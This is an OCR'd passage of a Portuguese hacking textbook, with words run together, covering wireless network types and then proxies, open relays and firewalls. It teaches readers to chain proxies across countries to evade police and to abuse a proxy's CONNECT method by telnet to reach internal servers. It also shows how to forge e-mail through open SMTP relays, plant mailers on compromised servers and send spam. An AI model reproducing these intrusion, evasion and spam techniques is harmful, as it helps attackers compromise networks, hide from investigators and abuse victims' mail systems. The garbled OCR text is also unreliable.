umaolhadaemtermoscomoFTp'HTTP,DNS,entreoutrosqueláestãodescri- tos.EssessãoostermosmaisusadosnagrandeRede. Sub-Redes UmaredebaseadaemTCP/lP podeserdivididaemredesmenoresparaque hajaa possibilidadede criar domíniosde difusãomenores,e assimutilizar melhorosrecursosdisponíveis.Elassãoconhecidascomosub-redesou redes 1179I ]Redes11
  • I Universidade H4CK3R I segmentadas.Essasredesseutilizamapenasde um roteadorIP.Sendoassim, cadasubpossuiapenasumaidentificação.A redeteriaumnúmeroftxodeIP, como 192.168.10.0,e todasasmáquinascompreendidasdentrodelateriam IPs baseadosnessenúmero,por exemplo: IP darede:192.168.10.0 IPsintemos:192.168.10.1,192.168.10.2,192.168.10.3... Alémdisso,asmáscarasdesub-redeforamcriadasparaauxiliarnaidentifica- çãodasmáquinasnarede.Vocêpodeencontrarmaisinformaçõessobreelas no capítulodeRedesI, emTCP1IP. RedesWireless Rádio Sistemautilizadoprimordialmenteemredespúblicas,dadaafaltadeseguran- çaemsuastransmissões.É necessárioqueantenasestejaminstaladasdentrodo alcancedetransmissão,masnadaimpedealguém(hackers,talvez)de instalar umaantenaparaa captaçãodessesdados,que,senãoestiveremcriptografados adequadamente,poderãoserutilizadosparaoutrosfmsquenãoosesperados. Umadesuasgrandesvantagensé quesuaoperaçãoé feitanafreqüênciade 2,4GHz, consideradade usopúblico,e dessaformanãohá necessidadede autorizaçãode órgãosgovernamentaisparasuautilização. Umaoutraformadetransmissãodedadosporrádioé conhecidacomotrans- missãodirecional.Elaéfeitapormeiodeantenasparabólicas,masestasdevem estarbemalinhadas,pois qualquerobstáculoou desviopode comprometer seriamentea conexão. IEEE 802.11 Foi o padrãocriadoparasanaro problemadafaltadepadronizaçãoexisten- te entreosfabricantesdetecnologiaderádio,poisnãohaviacompatibilidade entreos diferentesprodutos,impedindoassima comunicaçãoentreasredes. Eleutilizaum esquemaconhecidocomoCarrierSenseMultipleAccesswith CollisionAvoidance(CSMNCA).O transmissorfazum testeiniciale logo em seguidasincronizaasmáquinasparaque não hajaconflitosou colisõesna transmissãodosdados. InfravermeLho A utilizaçãodo infraverme1hqparaa comunicaçãosemftotemsuaaplicação voltadamaispararedeslocais.'Seualcanceestárestritoaumambientepeque- no e totalmentesemobstáculos,poiso espectrodeluznãopodeatravessá-Ios. 1180I Redes11[
  • Universidade2°Ano Bluetooth o Bluetoothé consideradocomoumaredesemfio debaixocusto,masque infelizmentepossuibaixoalcance.Suapropagaçãoé feitaa partirdesinaisde rádiodealtafreqüênciae suaversatilidadepermiteaconexãodeváriosapare- lhosquevãodesdeeletrodomésticosatélaptops.Essatecnologiafoi criadaa partirda iniciativadaEricssonMobileCommunication,em 1994,paraexplo- rara capacidadeda interfacede rádioemseusaparelhos.Em 1998nasceuo SIG (BluetoothSpecialInterestGroup).O sistemautilizaumafreqüênciade até2,4GHz,comumataxadetransmissãodeaproximadamente1Mbps,com distânciamáximadedezmetros. GSM O GlobalSystemfor MobileCommunicationsé umpadrãoparatelefoniade arquiteturaabertamóvelutilizadonaEuropae quejá estáseespalhandopelo mundo.Ele operana freqüênciade 900MHz, especificadapelo European TelecommunicationsStandardsInstitute(ETSI).Atualmente,a tecnologiaem- pregadajá estánasuaterceirageração,a qualveremosa seguir: 2,56 Nívelintermediárioentrea2Ge a3G,permiteaconexãodebandalargacom celularese PDAs.Alémdisso,ofereceumagamadeserviçosquetornaramesta tecnologiamuitomaisatrativa,comomensagensdetextoinstantânease servi- çosde localização. 36 Terceirageraçãoda tecnologiaGSM.Suasaplicaçõesestãovoltadasparao acessodiretoà Internetcombandalarga,transformandoassimo telefonemó- vel em umaplataformacompletaparaa obtençãode dadose serviçosna Internet;alémdisso,háestudossobresuautilizaçãoparacomérciomóvel.Isso significaefetuarcomprasemmáquinasautomáticase lojasutilizandoo apare- lho celular.Podeoperaremfreqüênciasde 1,9GHz a 2,1GHz. WiFi WiFi é a abreviaturapara o termo Wireless Fidelity, da WECA (Wireless EthernetCompatibilityAlliance),que utiliza o protocolo conhecido como IEEE 802.11b. 1181I ] RedesI1
  • Vulnerabilidades Capítulo 'Vesgensesc/aves,chansons,chants& requestes,CaptifsparPrinces,& Seigneursauxprisons.A !advenirpar idiotssanstestes, Seront receuspar divinsoraisons ': i Nostradamus, Centúria I, 14a quadra, aprox. 1555 1Dopovoescravizado,canções,cantoseperdidos/Cativosporpríncipes e lordesnasprisões:/ No futuro,por taisidiotasacéfalos/ Esses(perdidos) serãotomadoscomooraçõesdivinas.
  • IUniversidadeH4CK3RI À medidaqueevoluímosemnossosestudossobreasfraquezasdossistemas de informação,tomamo-nosmaisousadose confiantes.Estelivro,mimetizado emcursosuperior,foi estruturadoparaquequalquerpessoacomconhecimen- to básicoeminformáticapudessechegara entenderalgumacoisasobresegu- rançaeredes.Por issomesmo,atéaqui,o leitorfoi tratadoquasequecomoum leigo.Paranão"ofender"os leitorescomconhecimentostécnicosmaisavança- dos,colocamosnoCD todasasmatériasquenormalmenteseriamconsideradas pré-requisitoparaentendimentodo querealmenteinteressa.As matériasconsi- deradasdiretamenteligadascomhackerismo(invasão,engenhariasocial,etc.) ficaramno livro impresso.A partirdeagora,consideraremosqueos conceitos estãoassimilados("matériadada")e passaremosa tópicosmais"pesados". Vejamoso quetemosatéagora.Falandodiretamentesobrehackerse inva- sões,tivemososseguintescapítulos: . CapítuloZero-AulaInaugural- Umaintroduçãoaoambientenormal- mentechamadodehackerspaceou digitalunderground. Capítulo 1 - PsicologiaHacker- Umpoucodomododepensardosha- bitantesdessemundo. Capítulo 5 -FundamentosJurídicos- Consideraçõeslegaissobre informática Capítulo6 - EngenhariaSocial - Obtendo informaçõesANTES de ligar o computador. Capítulo7 -VulnerabilidadesI - Agindo como script kiddies e invadin- do computadorespessoais. Comtudoo quevimosatéestecapítulo,podemosdizerquejánosigualamos à grandemultidãode scriptkiddiesespalhadospelo globo.O leitordeveter notadoque,emvezde falardedezenasde ferramentase explicarcomocada umafunciona,tentamosmostraro modocomooskiddiestrabalhame oslocais ondesepodeencontrartaisferramentas. Novamenteadvertimos:nenhumlivro,CD-ROM,FAQou sitenaInternetensi- naráalguéma serhacker.É umprocessoquerequerestudo,paciência,persis- tênciae abnegação.No presentecapítulo,veremosmaisalgumastécnicasusa- daspelosscriptkiddies,destavezfocandositesnaInternetouredese sistemas corporativos.Masaocontráriodoskiddies,vocêsaberáexatamenteo queestá fazendo,baseadonosconhecimentosadquiridosanteriormente.Outracoisaque poderásernotada:ferramentasde"hacking"paraWindows9x sãomerosbrin- quedos.À medidaqueascoisasvãoficandosérias,apenassistemasmaisparrudos comoo WindowsNT ou o Unix possuemcondiçõesde servirde basepara ataques,especialmenteesteúltimo. 11841 Vulnerabilidades11[
  • Universidade2°Ano Em casode dúvida,recomendamosumareleituradoscapítulosanteriores, incluindoa execuçãodasexperiênciasmostradas.O quê?Vocênãofeznenhu- maexperiênciaprática?Ora!Parea leiturado livropor aquié sóvoltequando terminara liçãodecasa! Navegandoanonimamente Os proxiesfazemmaisdo queserviremdefIrewalle cachepararedesinter- nasacessaremà Internet.Um computadoratrásde umproxyfIcatotalmente escondido,e seunúmeroIP nãoé revelado.Parao computadorquerecebea conexão,o IP deorigemdospacotesquechegamé tododoproxy. SeumhackerconseguiracessoaumproxyqualquerparanavegarnaInternet seuspassosestarãocobertos.Esseproxy pode serum serviçopúblico - há . diversosproxiespúblicosna Internet,algunsgratuitos,masa maioriaé paga. PodesertambémalgumproxyparticularqueestejamalconfIguradoe aceitan- do relayde todaa Internet.Mesmobemconfigurado,há falhasem alguns softwaresquepermitemquehackersusemproxiesalheioscomoescudo. O outroladodamoedatambémé válido.Um proxyé um serviçoabertoem umaportaTCP e,portanto,estásujeitoa falhas.Um serviçodeproxypodeser a portadeentradaparaa invasãodamáquinae comprometimentode outros serviçosantes"saudáveis". Proxies públicos UmadasformasdenavegarsossegadopelaInternetsemsermolestadoéutilizar- sedeumservidorpúblicodeproxy.Atrásdesseservidor,seuIP fIcainvisívelpara todosossitesdaInternet:vocêestáasalvodosvendedoresdeenciclopédias,dos colecionadoresdecookiese dasinvestigaçõesdo governo.Hackersqueestejam tentandoatingi-Ioterãoapenaso IP doproxy.Comotodatecnologiapodetambém serusadaparao mal,vocêpodeesconder-seatrásdoproxyparaoriginarataques, queserãoregistradosnoslogsdavítimacomumIP diferentedo seu.A conexão entrevocêe o proxypodesercriptografadacomSSL- normalmentepormeiode umSecureShellou SSH- eamaioriadosservidoresgarantequesuasatividades nãoserãoregistradasousuasinformaçõesredirecionadasa empresasquepatroci- namo proxy.Pareceseguro,não?Nemtanto. Bemou mal,o próprioproxyteminformaçõesa seurespeito.Mesmoque hajaproxiespúblicosgarantindoquevocênãoserárastreadonemregistrado noslogsdoservidor,algunsdelespodemestarmentindo.Sevocêcausaralgum estragonaInternet,cedoou tardeserárastreadoatéo proxy.Bastaummanda- do judicialparaqueo responsávelpelo servidorabraseusregistrosà Polícia Federal.Serpresoseriaquestãodehoras. Há váriasmaneirasde tentardriblaresseinconveniente.A primeiraé uma técnicachamadadaisy-chainproxying:invade-seum computadorsemimpor- tância,que é usadoparainvadirum segundo,que é usadoparainvadirum 1185 1 ]Vulnerabilidades11
  • IUniversidadeH4CK3RI terceiro.Entrecadaum dessescomputadoresusa-seumproxy,aumentandoo númerodehostsintermediáriosparaseisou maise impondoumadificuldade extraparaos investigadores,que terãodevasculharnos registrosde vários proxiesatédeterminara origemde cadaum dosestágios.A vantagemdesse métodoé queé independentedeplataforma:vocêpodeusarmáquinasUnix, Windows,Macouqualqueroutraquepossuaconectividadecompatívelcomo serviçoproxy.Lembre-sede usarservidoresdiferentese,preferencialmente, geograficamel1tedistantes.Sevocêestiverno Brasile querinvadirumsistema nosEstadosUnidos,seuprimeiroproxypodeestarnaAustrália,o segundono Brasilmesmoe o terceironaEuropa.Incluiro Brasilnalistadeproxiesutiliza- dosé um"truquesujo"paraconfundiro investigador,quenormalmentedescar- ta a possibilidadede o atacanteestarno mesmopaísdo proxy investigado ("Ninguémseriatãoburro..."). . Algunsendereçosdeproxiespúblicos: www.publicproxyservers.com/ www.stayinvisible.com/ tools.rosinstrument.com/proxy/ www.antiproxy.com/ netspy.ukrpack.net/ E,obviamente,seubuscadorde Internetfavorito(Google,All theWeb),com aspalavraschave"publicproxy",podecuspircentenasde listasdeservidores públicosdisponíveis.Instruçõesparaconfigurarseubrowserparautilizarum dessesserviçospodemserencontradasnaAjudadosprópriosprogramas.Obser- vequeháproxiesparaserviçosdeterminados,normalmenteH1TP,Ffp e e-mail. Sevocêpretendeusarumdelesparaumportscanoumesmoumataque,deve antesdisfarçaros pacotesTCP/lP de seuataqueparaque separeçamcom o serviçosuportadoe sepassempeloproxy. Outramaneiradereforçaro anonimatonaGrandeRede,maissimples,mas menosefetiva,é usarprogramasqueescolhemautomaticamenteo proxy de umalistaeconectam-seaeles.Cadavezqueo programaé ativado,umservidor éescolhidoaleatoriamenteouobedecendoacritériospredefinidos.Algunsmais avançadossãocapazesdealternarentreproxiesdetemposemtempos,pulve- rizandoos rastros.O browserdeveserconfiguradoparaacessaro programa, querodano endereçode loopback("localhost"ou 127.0.0.1),e deixarqueo programacuidede encontrarumproxyseguro. Um bom serviçopago de proxy assistidopor um programa-clienteé o Anonymizer(www.anonymizer.com).A versãomaisbásicado serviçocustava, emmarçode2003,US$49,90maisimpostos,e estavadisponívelapenaspara Windows.Entreosrecursosoferecidos,alémdo proxy aleatóriocom servi- dorespúblicos, estãoa criptografiade URLs, gerenciamentode cookies, 1186 I Vulnerabilidades 11[
  • Universidade2°Ano bloqueiodo webbug,apaga- mentoautomáticodo históri- co de páginasvisitadase uma barrade ferramentaspara o InternetExplorer6. Alémdele,podemosdestacar o Anonymity4 Proxy (www. inetprivacy.com/a4proxy/). Disponívelparatodasasver- sõesdoWindows,possuiuma listamuitograndedeproxies públicos, e faz o geren- ciamentodeconexõesatodos eles.Possuidiversasopções quepermitemassociarzonasda Internetou sitesespecíficosa um ou mais servidores de proxy, análise do tráfego e protocolos associados e compartilhamentodaconexãocomumaredelocal. Outrodignodenotaé o Stealther,um softwarequeoferecea possibilidade de utilizarumamatrizdeproxiespúblicosparaautomatizaro daisy-chain. O Stealtherpodeserencontradoem (www.photonosoftware.com/Stealther/ main.php::;?language=eng&reseller=9824). Paraa turmado FreeSoftwareexisteo JAP - JavaAnonymityandPrivacy. Comoé escritoemJava,funcionanasmaisdiversasplataformasquesuportam essalinguagem,incluindoUnix,Macintosh,OS/2eWindows.O softwarepode serbaixadoemanon.inf.tu-dresden.de/(o siteestáemalemão). 11871 ]VulnerabilidadesII
  • I UniversidadeH4CK3RI ~ o pessoaldo Unix nãofoi esquecido.O ProxyTools(proxytools.sourceforge.net)é um conjuntode ferramentasparadesktop e servidorque tambémpermitenavegar anonimamentenaInternetusandoproxies anônimos.Elefoi especialmentedesenvol- vidoparaauxiliaros internautasdepaíses queaplicama censurana Internet,como China,Burmaeospaísesislâmicos(e,mais recentemente,osEstadosUnidosdaAméri- ca).As ferramentasparamáquinas-cliente rodamexatamentedamaneiraqueos.ou- trossoftwareslistadosacima:procurame encontramservidoresproxypúblicos.Há aindaumdaemonquepoderodaremumservidorUnix e desempenhaa Ílm- çãode"proxydosproxies".Dessaforma,o clientenãoprecisaternadainstala- do emseucomputador,fugindode batidaspoliciaise,principalmente,das duríssimaspenasaplicadasaosinfratoresdasleis de censura.Em algunspaí- ses,essaspenaspodemincluira execuçãodo infrator. OutrasferramentassimilaresparaUnix sãoo Bouncer(www.rOOt3d.org.uk) e o ProxyFloppy(www.nameless.cultists.org). Apesarde sermaisseguroquenavegarde peito aberto,cuidadocom os proxies,especialmenteos públicos!Algunssãoarmadilhasdapolícia,outros sãopor naturezainsegurose podehaver,inclusive,servidoresmaliciosos,man- tidospor crackers,pararastrearscriptkiddiese internautasincautos,visando a usá-Ios(principalmenteseusIPs) comolaranjasemataquesdespoofing.Por issomesmo,hackersexperientesprefereminvadirumaredesemimportância (pequenasempresas,escolasou universidades)parausarseuproxy.Ou valer- sedeproxiesmalconfiguradosà soltapelaInternet. Proxies privados Hádiversasmaneirasdeinvadirumamáquinarodandoalgumprogramadeproxy e fazê-Iaesconder-sedaInternet.O métodoparacadatipodeproxydependede suaversãoedosistemaoperacionalnoqualroda.Masháalgumasvulnerabilidades quefimcionamemqualquerplataforma,poissãoinerentesà tecnologiae nãoà implementaçãodatecnologiapor umdeterminadodesenvolvedor. Um dessescasosé o TCP Tunnel,umamaneirade encapsularpacotesTCP dentrode outrosparatransportá-Iosa salvopelaInternet.Essatecnologiaé muitousadaparacriarVPNs,ou redesprivadasvirtuais.Masumafalhana tecnologia pode dar a hackers espertos um proxy improvisado. Essa vulnerabilidadeé realmenteantiga.Vejao quediz o FAQ do softwareSquid (www.squid-cache.orglDoc/FAQ/FAQ-1.html).noitem1.12: 1188I VulnerabilidadesII [
  • Universidade2°Ano "Desdea versão2.5,o SquidsuportaconexõesSSLe tráfego"tunelado"entre clientes e servidores.Neste caso, o Squidpode fazer um relay dos bits criptografadosentreasduasextremidadesdaconexão. Normalmente,quandoseubrowserencontraumaURLhttps,executauma dasduasaçõesabaixo: 1 O browserabreumaconexãoSSLdiretacomo servidorhttps; 2 O browsersolicitaa aberturade um túnelIP atravésdo Squidusandoo métodoCONNECT. O métodoCONNECTé umaformade tunelarqualquerconexãoquepasse por umproxy deHTTP.O proxy não interpretaou entendeo conteúdoque estásendotunelado,apenaso repassaentreasduasmáquinasenvolvidasna conexão.Paramaisdetalhessobretunelamentoe o métodoCONNECT,vejao . internetdraft"TunnelingTCP basedprotocols throughwebproxy servers" (www:web-cache.com/Writings/lnternet-Drafts/draft-luotonen-web-proxy- tunneling-O1.txt) e a RFC2817(ftp://ftp.isLedu/in-notes/rfc2817.txt)." Vejaaseguintefrase,retiradadessetrechodoFAQ:"Oproxynãointerpretaou entendeo conteúdoqueestásendotunelado,apenaso repassaentreasduas máquinasenvolvidasnaconexão."Issoquerdizerqueo proxysequerverificase os dadosestãocriptografadosou não. Portanto, pode-seexplorar essa vulnerabilidadesimplesmenteusandoo métodoCONNECTparaconectar-sea umservidor,quepodesertantoumamáquinanaInternetcomoumservidorem suaIntranet!Lembre-sedequeo proxypodeestarrodandonamáquinagateway, quepossuiduasinterfacesderede(umaparaaredeinternae outraparaarede externa).Tomandopossedo proxy,o invasortemacessoà redeinterna,mesmo queelasejaimplementadacomIPs reservadoscomo10.0.0.0.ou 192.168.0.0!!! Quetalumexemploprático?Emumproxyvulnerável,nosconectaremosa um servidorde e-mailinternoe o usaremoscomoremailer.Considereasse- guintesinformações: ~ IP doatacante:200.230.xxx.yyy ~ Proxyvulneráveldavítima:64.131.aaa.bbb,"escutando"naporta3128 ~ ServidorSMTPinternodavítima:192.168.1.11 Conecte-seaoproxyusandoo velhoe bomtelnet(o exemplousao shelldo Unix,maspodeserfeitonoWindowssemproblemas,comemuladoresdeter- minale telnetcomooTeraTermoumesmoo HyperTerminal,quevem"debrin- de"como SO): $ telnet 64.131.aaa.bbb 3128 Umavezconectado,digiteo seguintecomando: CONNECT192.168.1.11:25 / HTTP/1.0 Se,comoresposta,aparecero bannerdo servidor,vocêpodeemitircoman- dosparaenviarseuse-mailsanônimos(vejaa próximaseção,"Anonymous remailers",aindanestecapítulo).NotequeSMTPfoi usadoaquiapenascomo exemplo.Vocêpodeusaro métodoCONNECTparaqualquerserviço:POp,FTP, 1189I I Vulnerabilidades11
  • IUniversidadeH4CK3RI HTTP,5MB/CIFS,Telnetnovamente...Noteaindaque,tunelandováriosproxies emcadeia,é possívelcolocarváriosníveisdeproxyingemseusataques. A correçãoparaesteproblemaé tãosimplesquantoóbvia:desligueo TCP Thnnelingnoseuproxy.Seo tunelamentoforabsolutamentenecessário,nãodeixe seuproxyconectadodiretamenteàInternet.Instale-oemoutramáquinaecoloque- o atrásdofirewall.Restringirasportaspelasquaissepodefazero tunelamento, deixandoapenasasquerealmenteserãousadas,tambéméumaboasaída. Squid O Squid,proxyservernúmeroumparaamantesdoUnix e doSoftwareLivre, tambémtemsuasmazelas.SitescomSquide regrasdeflrewallsmalconflgura- dossãoumpratocheioparaquemestáprocurandoanonimato.Masmesmo sistemasperfeitamenteconflgurados(e indiscutivelmentesegurosdopontode vistado administrador)podemestarfrágeisa ataques.Umavulnerabilidade recente(lwn.netNulnerabilities/4;;;;;;6)permitediversosataques,entreeles: ~ Problemascomo protocoloGopherpermitemquemenusmalformados causemproblemasde segurança; ~ OsdoiscanaisdecomunicaçãoFTP permitemquedadossejamextraídos ou inseridos,podendoforçaro downloadde arquivosarbitráriosou a execu- çãodecomandosno servidor; ~ Falhanaautenticaçãopermitequeusuáriosnãocadastradosutilizemo proxy. As trêsfalhaspoderiamserusadaspara,alémdainvasãodo servidorno qual o Squidestivesserodando,forçaro proxya fazerrelayde IPsnãoautorizados. Exploitspodemserencontradosno SecurityFocus(www.securityfocus.com). A correçãoé simples:atualizeseuSquidparaaversão2.4.STABLE7 ou superi- or.Mascomoos administradoresde redepor aí sãopreguiçosos(e a falhaé relativamentenova,denovembrode2002),é possívelquevocêencontre,por muitosanosainda,Squidscomversõesvulneráveis. WinGate O WinGatefoi lançadoem 1995comoum compartilhadorde Internetpara redesdomésticas.Simulaum proxy/gatewaypor IP Masqueradee, pelo seu preçobaixo,foimuitopopularnosEUA.Apesardeserumprodutojávelhinho, muitagenteaindao usaparacompartilharsuaconexãode Internetcom as máquinasdeumapequenarede.Hádiversasmaneirasdetiraralgumasversões antigasdoWinGatedo ar.Umadasmaisconhecidasé conectar-se(comtelnet, por exemplo)à porta2080e enviaralgunsquilobytesdedadosquaisquer. Maso interessanteé quealgumasversõesdoWinGatemalconflguradasper- mitemqueelesejausadocomoproxyanônimo.Sevocêrodaumdesses,está arriscadoa emprestaro SEUIP paraquescriptkiddiesataquemo Pentágono. EncontrarexploitsparaoWinGateé muitofácil.Useseumecanismodebusca 190 I Vulnerabilidades11[
  • Universidade2°Ano favoritoe procurepor"wingatescanner".Tenhaemmentequemuitosdesses scannerspodemserarmadilhasparapegarscriptkiddiese, portanto,conter víruse trojans- atualizeseuantivírus!!! A correçãoparaissoé bemfácil.SevocêinsistiremusarWindows,façaum upgradedoWinGate(www.wingate.com)ou use outro software,como o WinProxy(www.winproxy.com).AsversõesmaisnovasdoWindowspossuem o InternetConnectionSharing,quedispensao usodeprogramasexternos.Mas o próprioICS é,emsi, inseguro,entãorecomendamosqueinstaleumftrewall pessoalcomoo ZoneAlarm(www.zonealarm.com)ou comprepor unstroca- dosumasucatade386(funcionando,obviamente)compelomenos8 Mbytes de RAMe semnenhumHD.Nela,instalealgumgateway+ftrewallbaseadoem LinuxouFreeBSD.Boaspedidassãoo CoyoteLinux(www.coyotelinux.com).o Trinux (trinux.sourceforge.net)e o FreeSCO(www.freesco.org).A sucatade 386custarámaisbaratoqueaslicençasdeWinGate,WinProxyou doWindows comICSe ZoneAlarm.Alémdisso,sebemconflguradafuncionarámelhor,será maissegurae deixaráseumierode trabalhocommenosporcariasinstaladas. AnonymousremaiLers Umadascoisasmaischatasqueexistem(depoisdosvendedoresdeenciclo- pédia,dospop-upsemweb sitese dos representantestécnicosde grandes softwarehouses,insistindoparaquevocê useo caríssimoprogramadeles,e nãoaquelegratuitoquefaza mesmacoisa)é o spam.Todosnós recebemos, diariamente,dezenasou mesmocentenasdemensagensindesejadasnosofere- cendodetudo,de sexoa ceracoloridaparaautomóveis,depanelasultra-mo- dernasaconsolidaçãodedívidas.Emumprimeiromomento,é fácilconflgurar umclientedee-mailcomoo Outlookou o Eudorapara,no campo"From"das mensagensenviadas,apresentarumendereçodiferente.do seu. Masesseartifícioé logodescoberto,poisno cabeçalhodo e-mail(os dados quevêmantesde suamensagem,e que normalmentenão aparecem)ficam registradosseue-mailverdadeiro,o endereçode seuservidorSMTP e atéo nomedo programaquevocêusou.Paraenviarspamsossegado(ou umcavalo detróia)vocêtem,então,duasopções: ~ EncontrarservidoresdeSMTPqueestejamabertospararelayexterno,ou seja,queaceitemconexõesvindasdequalquercantodaInternet.Acredite,eles sãobemcomuns... ~ Utilizarumsoftwareousitequereenvieseuse-mailssemrevelaraorigem. Em servidoresSMTP desprotegidos,você pode configurarseuclientede e-mailparaconectar-sea ele,masissopoderiadeixarmuitosrastros.Umaboa técnicaé usaro velhoe bomtelnetparatal.Depoisdeencontrarumservidor dee-mailabertoaograndepúblico,dêumtelneta elenaporta25: $ telnet IP.DO.SMTP.ABERTO 25 1191 1 I VulnerabilidadesII
  • I UniversidadeH4CK3RI No promptqueaparecer,vocêdevedigitaros comandosque,normalmente, seuprogramadee-mailenviariaaoservidor- sim,elesestãoemtextopuro! HELO servidor. aberto. com MAIL FROM: mailfalso@servidor.aberto.com RCPT TO: pr@presidencia.gov.br DATA Date: Thu, 31 Dec 1998 12:16:35 -0500 (EST) From: mailfalso@servidor.aberto.com (Um brasileiro resoluto) To: pr@presidencia.gov.br Subject: Programa de Governo Reply-To: mailfalso@servidor.aberto.com Ei! Quando vocês vão começar a cumprir o programa de governo, hein? QUIT Algunssistemas,mesmoabertospararelayexterno,sãoimunesa esseprocedi- mento.Vocêconseguiráenviaro e-mail,masnãoserápermitido"mentir"arespeito deseuendereço.Enviarume-mailavocêmesmoéumbomteste,masnãoesqueça deverificaros cabeçalhos!O queocorreé queservidoresdeSMTPmaisnovos verificarãosuaidentidadecomo serviçoidentd(quetentaidentificá-Ioremotamen- te).Nessescasos,é necessário"enganar"o identdprimeiro,paradepoisusaro SMTPaberto.Nãotenhapreguiçadecompletartodososcamposmostrados.As- sim,suamensagemficarámaisparecidacomumamensagemreal.Paramaisinfor- maçõessobreo funcionamentodoprotocoloSMTP,leiaasRFCs822e 931. Hádiversossitesqueenviame-mailsanônimos.Mesmograndessitesdehospe- dagemgratuitae mecanismosde busca(como o Lycos:members.lycos.fr/ moiaptoi/mail.php)possuempáginasespeciaisparaenviare-mailscommensa- gensoue-cardsaosseusamigos- ferramentaque,namãodeumhacker,torna-se umaarma.Umarápidapesquisano Googleretomouváriosexemplosde web anonymousmailers.Separamos,dentreascentenasmostradas,estescinco: ~www.gi1c.org/speech/anonymous/remai1er.html ~fanc1ub.etoy.c3.hu/tanksystem/underground-tank/resistance/ mailerform.html ~judsonalumni.com/1evel5 ~www.email-anonyme.fr.st ~mailer.us.tf VocêpodeaindainvadirumservidorqualquernaInternete imp1ementar lá,semqueninguémsaiba,seupróprio Mailer.Um exemplode código(em PHP) pode ser visto em http://www.pscode.com/vb/scripts/ ShowCode.asp?txtCodeId=953&lngWId=8. Hápilhasdesoftwaresqueautomatizamo processodeenviartoneladasdee- mailsparamilharesdeendereços,incluindoaí imp1ementarseupróprioservi- dor SMTPdomésticoou varrera Internetatrásde servidorespodres.Sevocê
  • Universidade2°Ano usaUnix e temconexãodiretacomaInternet,podeinstalarumservidorcom- pletodeSMTPemsuamáquina,configurá-Ioparaumdomíniofictícioqualquer e mandarbrasa!AlgunsprovedoresbloqueiamservidoresSMTPemseusassi- nantes,masnadaqueumproxypúbliconãoresolva... Hádiversasopçõesdisponíveis,sendoo Qmail,PostflXe o veteranoSendmail asmaisconhecidas.Emumrefmamentodesseprocesso,podem-seutilizarser- vidoresde listasdediscussãoparaautomatizara entregaa muitosdestinatári- os. Entreos servidoresde listasmaiscomunsencontram-seo Majordomo,o Exime o GNU Mailman.Paraalimentaros servidoresde listas,bastacriaruma listadedistribuiçãoecadastrar,aospoucos,endereçoscolecionadospelaInternet. Há scriptscomoo BulkMailer(ftp://cs.utk.edu/pub/moorelbulkmailer/)que facilitama tarefaaindamais.Umaprocurano Googlejá seriasuficientepara começar,masnãohá necessidade:vocêpode,simplesmente,copiare colara partirdaquelese-mailsdecorrentee mensagensdefimdeanoquesecostuma recebere quenormalmentevêmrepletosde endereçosnos campos"Para"e "CC".Sevocêéinimigodospam,umadica:aoreenviarmensagens,usesempre o campo"CópiaOculta"ouBCC. No ladodo cliente,aindaé possívelenviare-mailsanônimosseminvadirser- vidoralgum.Tenhaemmenteque,apesarde serumasoluçãomaissimples,é perigosamentefácilde serrastreada.Algunsprogramas(pagos)paraWindows quefazemissosão: ~ Send-Safe:www.send-safe.com ~ Bulker:bulker.us No CD,háalgunsoutrosprogramasgratuitosqueprometemcumpriro pro- metido:enviare-mailsanônimosa umgrandenúmerodepessoas.Testetodos. Masnãoseprendaàfacilidadedeumscript,comodiriaahackergirlMelpôneme. TenteentendercomoosservidoresSMTPfuncionam,everáqueé fácilutilizar qualquerum delesparaenviare-mailsanônimos.Umaúltimarecomendação: leiaasRFCs! Furandofirewalls Quandoalguéminvadeumcomputadordoméstico,temà suadisposiçãoal- gunsarquivosimportantesapenasparao dono.Talvezalgumsoftwarebacana que mereçasercopiado.Essasmáquinasnão servempararealizaro sonho warholianodessesadolescentes:ter seusbrevesmomentosde fama. Paraconseguira tãosonhadapublicidadegrátis,é necessárioatacarsistemas quesejamvisíveisaograndepúblico.Alterarweb sitesé a primeiríssimaesco- lha, umavez quealgumrecadopode serdadoe a obra-de-artesemprevirá assinada.Masháoutrasopçõesdegranderepercussão,emboramaisanônimas. Derrubarservidoresde empresasou roteadoresda Internetsãoduasdelas. Apesardo anonimato,o estragocausadoé grande. 1193I ]VulnerabilidadesII
  • I Universidade H4CK3R I Firewalls Falemosa verdade:quemhoje,emsãconsciência,deixariaumservidorWeb ligadodiretamenteà Internet?(Ok,ok,ok,estábem:muitagentefariaisso...?) Mesmoquesejammáquinasacessíveisaosinternautasemgeral,umcertograu de proteçãodeveserprovidenciadoparaquenossositenão sejamolestado logono primeirodia(ouantes,naprimeirahora...).Essaproteçãousualmente é relegadaa equipamentoschamadosfn-ewa1ls. Umfirewallsempreé colocadonadivisaentreduasoumaisredes.Podeser entreredesprivadasou entreumaredeprivadae a Internet.A funçãodetal equipamentoé controlaro tráfegoentreelas,permitindooubloqueandoinfor- maçõesde acordocomregraspreestabelecidas.Há diversasexplicaçõespara a palavrafirewall.Os autorespreferema definiçãode"portacorta-fogo",ou seja,deixapassaraspessoascorrendodo incêndiomasbloqueiao fogo. Analogamente,os firewallsagemcomoportasquepermitema algumascone- xõesentrarou sairda rede,enquantobloqueiaasdemais.Normalmente,as conexõesoriginadasdedentrodaredesãopermitidas,enquantoasoriginadas deforadaredesãobloqueadas. Permite~ída e retorno Há trêstiposbásicosde firewall.Os doismaistradicionaissãoos filtrosde pacotese osproxies.O terceirotipoé umaevoluçãodofiltrodepacotestradi- cionalchamadodefiltro deestadosdepacotesou statefulpacketfilter(SPF). Filtrosde pacotes A tentativamaisantigadebarraracessosindesejadosemnossasredestalvez sejaadeanalisarospacotesTCP/lP umporume,olhandoemseuscabeçalhos, decidir(ouadivinhar)seo mesmoé malignoounão.Normalmente,as"pergun- tas"queo f11trofazaopacotesão: ~O pacoteé destinadoaoendereçoIP dealgumservidordarede? ~ SeuendereçoIP deorigemé permitidonestarede? ~A portaTCP/UDPa quesedestinacorrespondea umserviçoofertadona minharede? ~A portaTCP/UDPdeorigemcorrespondeaumaaplicação-clientedosmeus serviços? 11941 Vulnerabilidades111
